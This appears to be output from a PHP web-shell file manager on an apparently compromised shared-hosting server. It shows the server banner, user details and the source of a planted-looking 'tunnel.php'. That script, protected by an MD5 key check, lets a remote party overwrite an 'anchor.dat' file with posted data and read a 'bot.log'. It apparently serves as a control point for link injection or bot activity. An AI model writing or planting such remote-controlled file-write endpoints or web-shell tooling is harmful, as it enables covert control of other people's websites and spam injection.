HEX
Server: Apache/2.4.6 (CloudLinux) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
System: Linux s1.gigspace.ru 3.10.0-962.3.2.lve1.5.77.el7.x86_64 #1 SMP Mon Dec 12 07:06:14 EST 2022 x86_64
User: samok164 (6070)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /var/www/samok164/data/www2/culture-style.ru/tunnel/tunnel.php
<?



error_reporting(E_ALL);

// auth
$secret_key = 'f379a6de9f09ac541a9f04cae86148d2'; #! read from another file?
$anchor_file = 'anchor.dat';



if (!isset($_POST['secret_key']) || md5($_POST['secret_key']) != $secret_key) {
	header('WWW-Authenticate: Basic realm="Authentication System"');
	header('HTTP/1.0 401 Unauthorized');
	echo "You cannot access this resource\n";

	print md5($_POST['secret_key']);

	exit;	
}

if (isset($_POST['anchor_data'])) {
	$anchor_data = $_POST['anchor_data'];
	anchor_update($anchor_data);
	print 'Succesful';
}
else if (isset($_POST['bot_log'])){
	print get_bot_logs();
}

exit;



function get_bot_logs(){
	return file_get_contents('bot.log');
}

function anchor_update($data){
	writefile('anchor.dat', $data, 'w');
}

function writefile($filename, $data, $option = 'a'){
	if (!file_exists($filename)) touch($filename);
	if (is_writable($filename)){
		$fp = fopen($filename, $option);
		if ($fp)
		{
			if (!fwrite($fp, $data))
			{
			#!	error_log(date("F j, Y, g:i a")." R4: File write failed!\n", 3, "{$r4_cfg_root}error.log"); 
			}
			fclose($fp);
		}		
	}	
}


?>